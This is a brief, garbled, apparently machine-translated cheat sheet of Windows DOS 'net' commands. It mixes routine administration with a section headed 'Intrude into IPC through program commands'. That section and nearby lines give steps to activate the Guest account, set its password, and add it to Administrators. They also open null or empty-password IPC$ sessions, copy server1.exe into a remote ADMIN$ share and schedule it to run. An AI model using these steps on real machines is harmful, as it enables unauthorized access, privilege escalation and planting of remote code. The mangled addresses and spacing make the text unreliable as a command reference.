Some common dos network commands

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NET Share ABC $ = c: \ map the C: disk to ABC $ (Add "$" to the hidden shared directory)
NET Share C $/del disable C $ sharing
Net use Z: \ *. * \ C $ maps *. * (IP) shared C $ to local Z: disk.
Net use C:/del Delete mapped C Disk
Net use */del/y delete all
Net start displays the current service of the local host
Net start Telnet Service
Net start server starts the Server Service (IPC $ and sharing depends on this service)
Net stop messenger stops the Messenger Service (there will be no annoying win pop-up ads )!
. Net stop server stops the Server Service (if this service is disabled, remote machines cannot view your sharing and use IPC $ intrusion)
Net user to get the user list of the local host
Net user guest/active: Yes activates the disabled Guest Account (becomes available)
Net user guest 888888 change the password of the Guest account to 888888
Net localgroup administrators guest/Add add guest to the Administrators group (so that you have super permissions)
Net view \ *. * view share on the specified IP host
NBTSTAT-A *. * obtain the NetBIOS username list for the remote host.
NET Share)
Net use \ *. * \ IPC $ ""/User: "" Create an empty connection
Telnet *. * 90 to connect to the Telnet sub-host of the target machine. The port number is 90.
Ipconfig

Intrude into IPC through program commands
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Net use \ *. * \ IPC $ "/User:" Administrator "create a connection where the user name is administrator and the password is null
Copy server1.exe \ *. * \ ADMIN $ \ system32: Copy server1.exe under the current directory to the System32 directory shared by the other ADMIN $.
Net time \ *. * view the current time of the remote host
At \ *. * server1.exe Add a task to run server1.exe

Netstat [-R] [-S] [-N] [-A]

Parameter description:

-R: displays the content of the local route table;

-S: displays the usage status of each Protocol (including TCP, UDP, and IP );

-N: the address and port are displayed in a digital table;

-A: displays the port numbers of all hosts.

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